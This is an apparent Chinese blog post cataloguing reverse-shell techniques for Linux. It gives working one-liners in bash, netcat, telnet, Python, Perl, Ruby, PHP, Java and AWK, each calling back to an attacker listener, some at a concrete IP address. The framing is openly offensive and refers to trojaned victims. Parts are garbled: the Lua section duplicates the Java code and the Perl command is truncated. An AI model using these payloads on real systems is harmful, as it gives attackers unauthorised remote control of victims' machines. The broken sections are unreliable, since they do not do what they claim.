LinuxN种反弹shell方法

本文详细介绍了Linux下的反弹shell,包括其定义、用途及多种实现方法,如bash、nc、python、perl、ruby等,提供了详细的命令示例,帮助读者理解和实践。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

什么是反弹shell?

  反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,

并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络

概念的客户端与服务端的角色反转。

为什么要反弹shell?

通常用于被控端因防火墙受限、权限不足、端口被占用等情形。

举例:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器

(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务,

ssh、telnet等等都是正向连接。那么什么情况下正向连接不能用了呢?

有如下情况:

1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。

2.目标机器的ip动态改变,你不能持续控制。

3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。

4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机等情况都是未知的,所以建立一个服务端让恶意程序主动连接,才是上策。

那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

有哪些反弹shall方法?

0x01. bash

在攻击主机上执行端口监听:

nc -lvvp port                               //port 为攻击主机端口号,并且此端口号没有被占用

在目标主机上执行:

bash -i >& /dev/tcp/攻击主机ip/port 0>&1                            //port 为攻击主机端口号

解释:

bash -i   打开一个交互的bash

>&   将标准错误输出重定向到标准输出

/dev/tcp/x.x.x.x/port   意为调用socket,建立socket连接,其中x.x.x.x为要反弹到的主机ip,port为端口

0>&1   标准输入重定向到标准输出,实现你与反弹出来的shell的交互

/dev/tcp/ 是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。

其他版本:

exec 5<>/dev/tcp/x.x.x.x/9999

cat <&5 | while read line; do $line 2>&5 >&5; done

第一条命令 建立与x.x.x.x:9999的tcp连接,并将标准输入输出作为device 5的标准输入输出

第二条cat <&5 获取device5的输入; while read line; do $line 2>&5 >&5 一旦获取到命令便运行 然后将标准输入输出以及标准错误输出到device5中

0x02. nc(netcat)反弹

在攻击主机上执行端口监听:

nc -lvvp port                               //port 为攻击主机端口号,并且此端口号没有被占用

在目标主机上执行:

nc -e /bin/bash 攻击主机ip port

还可以在目标主机上这样执行

nc x.x.x.x 1234|/bin/bash|nc x.x.x.x 4321                                //在攻击主机上打开两个终端,分别监听 1234 和 4321 端口,得到反弹shell后,1234 终端 输入命令, 4321 终端就会获得执行相应命令后的结果

1

由于现在很多主机上可能没有netcat了,所以如果遇到虽然有netcat 但不支持 nc -e /bin/bash 攻击主机ip port 中 -e选项的主机,还可以这样反弹shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

rm /tmp/f 删除命令

mkfifo /tmp/f; 在tmp目录下写fifo文件f

/bin/sh -i 2>&1 将/bin/sh 的标准错误重定向到标准输出

nc x.x.x.x 2333 >/tmp/f将nc监听到的输入 输入到fifo

0x03. telnet反弹

在攻击主机上打开两个终端分别监听 1234 和 4321端口,(确保端口开放,并且不被占用),得到反弹shell后,1234 终端 输入命令, 4321 终端就会获得执行相应命令后的结果:

nc -lvvp 1234

nc -lvvp 4321

在目标主机上执行:

telnet 攻击主机ip 1234 | /bin/bash | telnet 攻击主机ip 4321

0x03.python

在攻击主机上执行端口监听:

nc -lvvp port                               //port 为攻击主机端口号,并且此端口号没有被占用

在目标主机上执行:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

0x04.perl

在攻击主机上执行端口监听:

nc -lvvp port                               //port 为攻击主机端口号,并且此端口号没有被占用

在目标主机上执行:

Socket;$i="121.5.112.123";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

0x05.Ruby

在攻击主机上执行端口监听:

nc -lvvp port                               //port 为攻击主机端口号,并且此端口号没有被占用

在目标主机上执行:

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("121.5.112.123","5555");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

0x06. PHP

在攻击主机上执行端口监听:

nc -lvvp port                               //port 为攻击主机端口号,并且此端口号没有被占用

在目标主机上执行:

php -r '$sock=fsockopen("121.5.112.123",5555);exec("/bin/bash -i <&3 >&3 2>&3");'

0x07.Java

在攻击主机上执行端口监听:

nc -lvvp port                               //port 为攻击主机端口号,并且此端口号没有被占用

在目标主机上执行:

public class Revs {

    /**

    * @param args

    * @throws Exception

    */

    public static void main(String[] args) throws Exception {

        // TODO Auto-generated method stub

        Runtime r = Runtime.getRuntime();

        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/5555;cat <&5 | while read line; do $line 2>&5 >&5; done"};

        Process p = r.exec(cmd);

        p.waitFor();

    }

}

0x08. Lua

在攻击主机上执行端口监听:

nc -lvvp port                               //port 为攻击主机端口号,并且此端口号没有被占用

在目标主机上执行:

         public class Revs {

    /**

    * @param args

    * @throws Exception

    */

    public static void main(String[] args) throws Exception {

        // TODO Auto-generated method stub

        Runtime r = Runtime.getRuntime();

        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/5555;cat <&5 | while read line; do $line 2>&5 >&5; done"};

        Process p = r.exec(cmd);

        p.waitFor();

    }

}

第八种我是没有做成功

0x09.AWK 反弹

在攻击主机上执行端口监听:

nc -lvvp port                               //port 为攻击主机端口号,并且此端口号没有被占用

在目标主机上执行:

攻击的机器监听,在收到shell的时候不可以输入enter,不然会断开

awk'BEGIN{s="/inet/tcp/0/121.5.112.123/6666";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

YUGUOHOU

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值